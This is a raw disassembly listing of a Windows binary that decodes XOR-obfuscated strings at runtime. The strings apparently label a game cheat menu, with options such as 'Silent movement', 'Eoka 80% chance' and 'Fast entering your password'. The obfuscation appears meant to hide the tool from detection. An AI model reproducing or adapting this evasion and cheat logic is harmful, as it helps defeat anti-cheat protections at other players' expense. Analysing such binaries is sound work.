jl 0x140068590
lea rdx, [0x1400b3ede]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x1400685ed
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b3ede], 1
jne 0x140068797
lea rdx, [rbp + 0x900]
mov byte [0x1400b3ede], 1
lea rcx, [rbp - 0x5d]
mov byte [rbp - 0x5d], 0
call fcn.140087b00
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140068771
mov r8d, edi
cmp esi, 2
jl 0x14006873a
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140068740
movaps xmm2, xmm11
lea rcx, [rbp + 0x458]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef9c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x1400687b7
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400687b7
lea rcx, str.Silent_movement
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140068bb0
lea rdx, [rbp + 0x1680]
mov byte [rbp - 0x5c], 0
lea rcx, [rbp - 0x5c]
call fcn.140087b30
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140068981
mov r8d, edi
cmp esi, 2
jl 0x140068949
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140068840
cmp r8d, 0x12
jge 0x140068981
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x140068950
lea rdx, [0x1400b3ede]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b3ede], 1
jne 0x140068b87
lea rdx, [rbp + 0x1ac0]
mov byte [0x1400b3ede], 1
lea rcx, [rbp - 0x5b]
mov byte [rbp - 0x5b], 0
call fcn.140087b50
mov rbx, rax
cmp byte [rax + 0x1c], 0
je 0x140068b61
mov r8d, edi
cmp esi, 2
jl 0x140068b29
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140068a20
cmp r8d, 0x1d
jge 0x140068b61
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140068b30
movaps xmm2, xmm11
lea rcx, [rbp + 0x460]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef9c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140068bb0
cmp byte [0x1400aef77], 1
jne 0x140068bb0
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140068bb0
lea rcx, str._________________
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140068e02
lea rdx, [rbp + 0x870]
mov byte [rbp - 0x5a], 0
lea rcx, [rbp - 0x5a]
call fcn.140087b80
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140068d31
mov r8d, edi
cmp esi, 2
jl 0x140068cfa
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140068d00
lea rdx, [0x1400b40fe]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140068d5d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b40fe], 1
jne 0x140068de2
lea rdx, [rbp + 0x790]
mov byte [0x1400b40fe], 1
lea rcx, [rbp - 0x59]
mov byte [rbp - 0x59], 0
call fcn.140087ba0
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x140068dbc
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor byte [rbx + 9], 0x3a
xor al, 0x3b
mov byte [rbx + 0xa], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x468]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef8c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140068e02
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140068e02
lea rcx, str.Eoka__80___chance
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x1400691f0
lea rdx, [rbp + 0x1a20]
mov byte [rbp - 0x58], 0
lea rcx, [rbp - 0x58]
call fcn.140087bd0
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x140068fc1
mov r8d, edi
cmp esi, 2
jl 0x140068f89
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140068e80
cmp r8d, 0x1c
jge 0x140068fc1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x140068f90
lea rdx, [0x1400b40fe]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b40fe], 1
jne 0x1400691c7
lea rdx, [rbp + 0x1830]
mov byte [0x1400b40fe], 1
lea rcx, [rbp - 0x57]
mov byte [rbp - 0x57], 0
call fcn.140087c00
mov rbx, rax
cmp byte [rax + 0x13], 0
je 0x1400691a1
mov r8d, edi
cmp esi, 2
jl 0x140069169
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140069060
cmp r8d, 0x14
jge 0x1400691a1
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140069170
movaps xmm2, xmm11
lea rcx, [rbp + 0x470]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef8c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x1400691f0
cmp byte [0x1400aef77], 1
jne 0x1400691f0
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400691f0
lea rcx, str._____80_
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x14006946e
lea rdx, [rbp + 0x1698]
mov byte [rbp - 0x56], 0
lea rcx, [rbp - 0x56]
call fcn.140087c20
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x1400693b1
mov r8d, edi
cmp esi, 2
jl 0x140069379
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140069270
cmp r8d, 0x12
jge 0x1400693b1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x140069380
lea rdx, [0x1400b3988]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x1400693dd
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b3988], 1
jne 0x14006944e
lea rdx, [rbp + 0x258]
mov byte [0x1400b3988], 1
lea rcx, [rbp - 0x55]
mov byte [rbp - 0x55], 0
call fcn.140087c40
mov rbx, rax
movzx eax, byte [rax + 6]
test al, al
je 0x140069428
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor al, 0x37
mov byte [rbx + 6], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x478]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b420c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x14006946e
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006946e
lea rcx, str.Fast_entering_your_password
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140069669
lea rdx, [rbp + 0x2620]
mov byte [rbp - 0x54], 0
lea rcx, [rbp - 0x54]
call fcn.140087c70
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140069631
mov r8d, edi
cmp esi, 2
jl 0x1400695f9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x1400694f0
cmp r8d, 0x24
jge 0x140069631
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140069600
lea rdx, [0x1400aef5a]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x140069669
cmp byte [0x1400aef77], 1
jne 0x140069669
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140069669
lea rcx, str.__ctrl__
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140069bb7
lea rdx, [rbp + 0x970]
mov byte [rbp - 0x53], 0
lea rcx, [rbp - 0x53]
call fcn.140087ca0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400697f1
mov r8d, edi
cmp esi, 2
jl 0x1400697b3
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1400697c0
lea rdx, [0x1400aef5a]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006981d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14006983d
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006983d
lea rcx, str.MovementDetect_check_on_ctrl
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140069bb7
lea rdx, [rbp + 0x910]
mov byte [rbp - 0x52], 0
lea rcx, [rbp - 0x52]
call fcn.140087cd0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400699c1
mov r8d, edi
cmp esi, 2
jl 0x140069987
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
